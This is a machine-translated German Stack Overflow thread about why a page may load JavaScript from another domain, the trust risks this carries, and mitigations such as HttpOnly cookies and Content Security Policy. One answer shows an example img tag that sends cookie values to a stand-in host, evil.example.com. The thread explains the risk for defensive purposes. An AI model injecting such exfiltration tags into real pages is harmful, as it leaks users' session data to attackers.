Frage

Warum ist es, dass, wenn wir zu einer Javascript-Datei verlinken auf x.com von y.com (zB Google Analytics oder jquery) es verursacht keine Cross-Domain-Sicherheitsfragen?

Zum Beispiel:

in y.com/index.html wir haben:

<script type="text/javascript" src="http://x.com/jsfile.js" />

Wie können wir wissen, wenn dieser in Ordnung ist und das zu tun, wenn es nicht?

War es hilfreich?

Lösung

Es hat das Potenzial, eine große Sicherheitslücke, so dass Sie dieser Website vertrauen, die die JavaScript-Datei gehostet wird.

Zum Beispiel, dass Code kann mehr Script-Tags und img-Tags in Ihrer Website injizieren, die sensible Daten auf eine dritte Partei weitergeben kann.

David Kommentar über die Same Origin Policy kann irreführend sein. Ein klassischer Weg, um Daten an einen entfernten Ort Relais ist einen img-Tag zu einer Remote-Domäne einzufügen:

<img src="http://evil.example.com/sendcookieshere.whatever?cookievalue=secret_info />

Wenn der JavaScript-Code auf der Remote-Host wurde dynamisch inject einen img-Tag wie diesen dann Ihrer Website geändert könnte eine Sicherheitslücke hat. Es gibt mitigations, um einige dieser Probleme wie die Verwendung von HTTP-Cookies nur, die über JavaScript nicht zugänglich sind.

Das Beispiel von Analysesystemen ist ein großer. Sie müssen darauf vertrauen, dass der Anbieter keine sensiblen Daten nicht nehmen, wie Sie Ihre eigenen Cookies und es an einen entfernten Ort zu senden. Sie müssen auch den Anbietern vertrauen, dass ihre System ist sicher und dass ein Hacker nicht die JavaScript-Dateien auf ihren Servern verändern könnte. Analytics-Systeme arbeiten in der Regel durch die gleichen Techniken, aber hoffentlich verwenden sie es für gut und nicht böse. In gewissem Sinne ist es nicht anders als sich Gedanken darüber, ob Ihre Entwickler gut schreiben, sicheren Code und ob sie eine geheime Hintertür einzuführen.

In Bezug auf Warum es erlaubt ist, ist es nur historisch. Die Bahn war überhaupt nicht mit Sicherheit im Auge behalten. Ob es ein CSRF-Angriff, Replay-Attacken oder XSS-Attacken, das sind alles grundlegende Mängel in der Konstruktion der Bahn, dass jetzt Sorgen der Web-Entwickler werden.

Andere Tipps

Wo die Daten kommen, ist irrelevant, es ist der Umfang, wo es, dass Angelegenheiten verwendet wird.

Sie sind nur das Skript aus einer anderen Domäne bekommen, es läuft immer noch im Rahmen der eigenen Seite, so dass es keinen Zugang zu Ressourcen hat in der Domäne, von wo aus sie geladen.

In einer Situation, wo Sie Cross-Domain-Probleme haben, wie ein iframe eine Seite aus einer anderen Domäne enthält, haben Sie zwei unterschiedliche Bereiche. Die Seite in dem iframe läuft im Rahmen der Domäne, in der es aus geladen wurde, so dass er Ressourcen in dieser Domäne zugreifen kann, aber es kann keinen Zugriff alles in der Seite, die das iframe präsentiert als dass ein anderer Bereich ist.

. (Anmerkung: Ich weiß nicht, ob der Begriff „scope“ häufig in diesem Zusammenhang verwendet wird, könnte es ein Begriff sein, dass besser beschreibt es)

Ich weiß nicht, warum wir es tun können. Aber man kann es verhindern Content Security Policy (CSP) verwendet wird, ein HTTP-Header, indem Sie Ihre Web-Anwendung gesendet, die erklärt, dass sie JavaScript nicht geladen werden sollte, außer von Domains, die Sie explizit erlauben.

Lizenziert unter: CC-BY-SA mit Zuschreibung
Nicht verbunden mit StackOverflow
scroll top